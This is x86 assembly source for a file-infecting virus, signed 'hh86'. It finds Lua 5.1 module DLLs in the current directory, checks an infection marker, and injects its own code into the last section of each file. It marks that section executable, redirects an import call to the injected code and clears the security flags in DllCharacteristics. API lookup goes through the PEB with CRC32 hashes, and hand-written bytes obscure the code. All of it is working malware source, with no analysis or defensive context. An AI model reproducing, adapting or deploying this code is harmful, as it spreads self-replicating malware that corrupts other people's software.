.386
.model flat, stdcall
IMAGE_DIRECTORY_ENTRY_EXPORT = 78h
.data?
STACK_REG struct
LO32_EDI dd ?
LO32_ESI dd ?
LO32_EBP dd ?
LO32_ESP dd ?
LO32_EBX dd ?
LO32_EDX dd ?
LO32_ECX dd ?
LO32_EAX dd ?
STACK_REG ends
_label macro x
x label near
endm
assume fs:nothing
.code
vid1_exe proc
pushad
xor ebx, ebx
call vid_1
pop eax
pop eax
pop esp
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad
ret 0ch
echo hh86
_label vid_1
push dword ptr fs:[ebx]
mov dword ptr fs:[ebx], esp
enter sizeof WIN32_FIND_DATA + 2, 0
mov edi, esp
push edi
db 0e8h
dd 6
db 2ah
db 2eh
db 64h
db 6ch
db 6ch, 0
call FindFirstFile ;find DLL files in current directory
xchg ebp, eax
db 0e8h
dd 0bh
db "lua5.1.dll"
db 0
;-------------------------------------------------------------------------------
;load LUA 5.1 DLL if available:
;then we want luaL_openlib address: currently there is only one version of the DLL
;5.1. we can use ordinal 1a to retrive API address, but it may fail if different
;DLL for 5.1 is used
;-------------------------------------------------------------------------------
call LoadLibrary ;do not free!
xchg ecx, eax
jecxz unload
db 0e8h
dd 0dh
db "luaL_openlib"
db 0
push ecx
call GetProcAddress
xchg ebx, eax
_label load_l
pushad
xor eax, eax
call load_dll
pop eax
pop eax
pop esp
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad
push dword ptr [ebx]
call FreeLibrary
push edi
push ebp
call FindNextFile
test eax, eax
jnz load_l
_label unload
int 3
load_dll proc
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
lea ecx, dword ptr [edi + WIN32_FIND_DATA.cFileName]
push ecx
call LoadLibrary
xchg ebp, eax
push 1 ;first export might be luaopen_MDLNAME
push ebp
call GetProcAddress
xchg esi, eax
mov edx, ebp
add edx, dword ptr [ebp + IMAGE_DOS_HEADER.e_lfanew]
movzx ecx, word ptr [edx + IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader]
lea ecx, dword ptr [edx + ecx + (IMAGE_NT_HEADERS.OptionalHeader - (sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData))]
movzx eax, word ptr [edx + IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
imul eax, eax, sizeof IMAGE_SECTION_HEADER
add ecx, eax
mov eax, dword ptr [ecx]
add eax, dword ptr [ecx + (IMAGE_SECTION_HEADER.PointerToRawData - IMAGE_SECTION_HEADER.SizeOfRawData)]
;no appended data (infection marker (extra size), attribute certificates, debug info, etc)
cmp dword ptr [edi + WIN32_FIND_DATA.nFileSizeLow], eax
jne load_exit
push 7fh
pop ecx
call find_e8 ;find call
push ebp ;close library now to save memory
call FreeLibrary
xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push 3 ;FILE_SHARE_READ + FILE_SHARE_WRITE
push 3 ;GENERIC_READ + GENERIC_WRITE
lea ecx, dword ptr [edi + WIN32_FIND_DATA.cFileName]
push ecx
call CreateFile
push eax
push eax
push ebx
push ebx
mov ebp, dword ptr [edi + WIN32_FIND_DATA.nFileSizeLow]
push ebp
push eax
push ebx
add ebp, 1001h
push ebp
push ebx
push 4 ;PAGE_READWRITE
push ebx
push eax
call CreateFileMapping
push eax
push ebp
push ebx
push ebx
push 2 ;FILE_MAP_WRITE
push eax
call MapViewOfFile
push eax
call findphys
pop eax
pop eax
pop esp
xor eax, eax
pop dword ptr fs:[eax]
pop eax
call UnmapViewOfFile
call CloseHandle
call SetFilePointer
call SetEndOfFile
call CloseHandle
_label load_exit
int 3
_label fpope8
pop eax
find_e8 proc
lodsb
cmp al, 0e8h
je found_e8
loop find_e8
int 3
_label found_e8
mov eax, dword ptr [esi]
lea eax, dword ptr [esi + eax + 4]
call eip
cmp word ptr [eax], 25ffh
jne find_e8
mov eax, dword ptr [eax + 2]
call eip
cmp dword ptr [eax], ebx
jne find_e8
mov eax, dword ptr [esi - 0bh]
call eip
sub eax, ebp
xchg esi, eax
ret
eip proc
cmp eax, ebp
jna fpope8
push eax
sub eax, ebp
cmp dword ptr [edx + IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], eax
pop eax
jb fpope8
ret
eip endp
find_e8 endp
require proc
db 68h
dd "v!"
db 60h
db 6ah
db 30h ;process environment block
pop esi
db 33h
db 0d2h
db 0e8h ;skip SE handler
dd 0bh
db 58h
db 58h
db 5ch
db 33h, 0c0h
db 64h
db 8fh
db 0
db 58h
db 61h
ret
pop eax
push eax
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp ;SEH protected
inc eax
find_mz:
dec eax
xor ax, ax
cmp word ptr [eax], "ZM"
jne find_mz ;cannot get base address from PEB in infected DLL
db 1 ;convert to relative virtual address
db 44h
db 34h
db -((STACK_REG.LO32_EAX - STACK_REG.LO32_ESP) - (sizeof IMAGE_NT_HEADERS.OptionalHeader.ImageBase shl 1))
db 64h
db 0adh
db 8bh
db 40h
db 0ch
db 8bh
db 70h
db 14h
db 0adh
db 8bh
db 0
db 8bh
db 68h
db 10h
call skip_crc
dd 03fc1bd8dh
dd 0da68238fh
;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------
db 30h, 0
skip_crc:
db 5eh
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------
crc32 macro
db 32h
db 7
db 6ah
db 8
db 59h
db 0d1h
db 0e8h
db 73h
db 5
db 35h
dd 0edb88320h
db 0e2h
db 0f5h
db 47h
db 38h
db 0fh
db 75h
db 0ebh
endm
import_next:
db 8bh
db 45h
db IMAGE_DOS_HEADER.e_lfanew
db 8bh
db 5ch
db 28h
db IMAGE_DIRECTORY_ENTRY_EXPORT
db 3
db 0ddh
export_next:
db 8bh
db 7bh
db IMAGE_EXPORT_DIRECTORY.AddressOfNames
db 3
db 0fdh
db 8bh
db 3ch
db 97h
db 0f9h
db 1bh
db 0c0h
db 3
db 0fdh
crc32
db 0f7h
db 0d0h
db 39h
db 6
je l_res
db 42h
db 39h
db 53h
db IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
jne export_next
int 3
;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------
l_res:
db 8bh
db 7bh
db IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
db 3
db 0fdh
db 0fh
db 0b7h
db 3ch
db 57h
db 8bh
db 43h
db IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
db 3
db 0c5h
db 8bh
db 4
db 0b8h
db 3
db 0c5h
db 50h
db 0adh
db 33h
db 0d2h
db 80h
db 3eh
db 30h
jne import_next
db 8bh
db 0dch
db 56h
db 0ffh, 53h, 4 ;call LoadLibraryA
db 50h
db 0ffh, 13h ;call FreeLibrary
int 3
require endp
findphys proc
push dword ptr fs:[ebx]
mov dword ptr fs:[ebx], esp
mov ebp, eax
add ebp, dword ptr [ebp + IMAGE_DOS_HEADER.e_lfanew]
movzx ecx, word ptr [ebp + IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
push ecx
movzx ebx, word ptr [ebp + IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader]
lea edx, dword ptr [ebp + ebx + IMAGE_NT_HEADERS.OptionalHeader + IMAGE_SECTION_HEADER.VirtualAddress]
mov ebx, edx
_label find_s
push esi
sub esi, dword ptr [edx]
cmp dword ptr [edx - sizeof IMAGE_SECTION_HEADER.Misc.VirtualSize], esi
pop esi
jnb found_s
add edx, sizeof IMAGE_SECTION_HEADER
loop find_s
int 3
_label found_s
sub esi, dword ptr [edx]
add esi, dword ptr [edx + (IMAGE_SECTION_HEADER.PointerToRawData - IMAGE_SECTION_HEADER.VirtualAddress)]
lea esi, dword ptr [esi + eax + sizeof IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
pop ecx
imul ecx, ecx, sizeof IMAGE_SECTION_HEADER
lea ebx, dword ptr [ebx + ecx - (sizeof IMAGE_SECTION_HEADER + IMAGE_SECTION_HEADER.VirtualAddress)]
mov edi, dword ptr [ebx + IMAGE_SECTION_HEADER.PointerToRawData]
add edi, dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData]
add edi, eax
push edi
push esi
mov esi, offset require
db 6ah, not (low (offset findphys - offset require))
pop ecx
not cl
rep movsb
or dword ptr [ebx + IMAGE_SECTION_HEADER.Characteristics], IMAGE_SCN_MEM_EXECUTE
mov ecx, dword ptr [ebx + IMAGE_SECTION_HEADER.VirtualAddress]
add ecx, dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData]
add ecx, dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
pop esi
xchg dword ptr [esi], ecx
sub ecx, dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
pop edi
mov dword ptr [edi + 1], ecx
xor ecx, ecx
mov ch, 10h
stc
adc dword ptr [esp + sizeof STACK_REG.LO32_ESP + 14h], ecx
add dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData], ecx
add dword ptr [ebx + IMAGE_SECTION_HEADER.Misc.VirtualSize], ecx
add dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], ecx
and byte ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1], 0f0h
xor ecx, ecx
mov dword ptr [ebp + 0c8h], ecx
int 3
findphys endp
load_dll endp
vid1_exe endp
end vid1_exe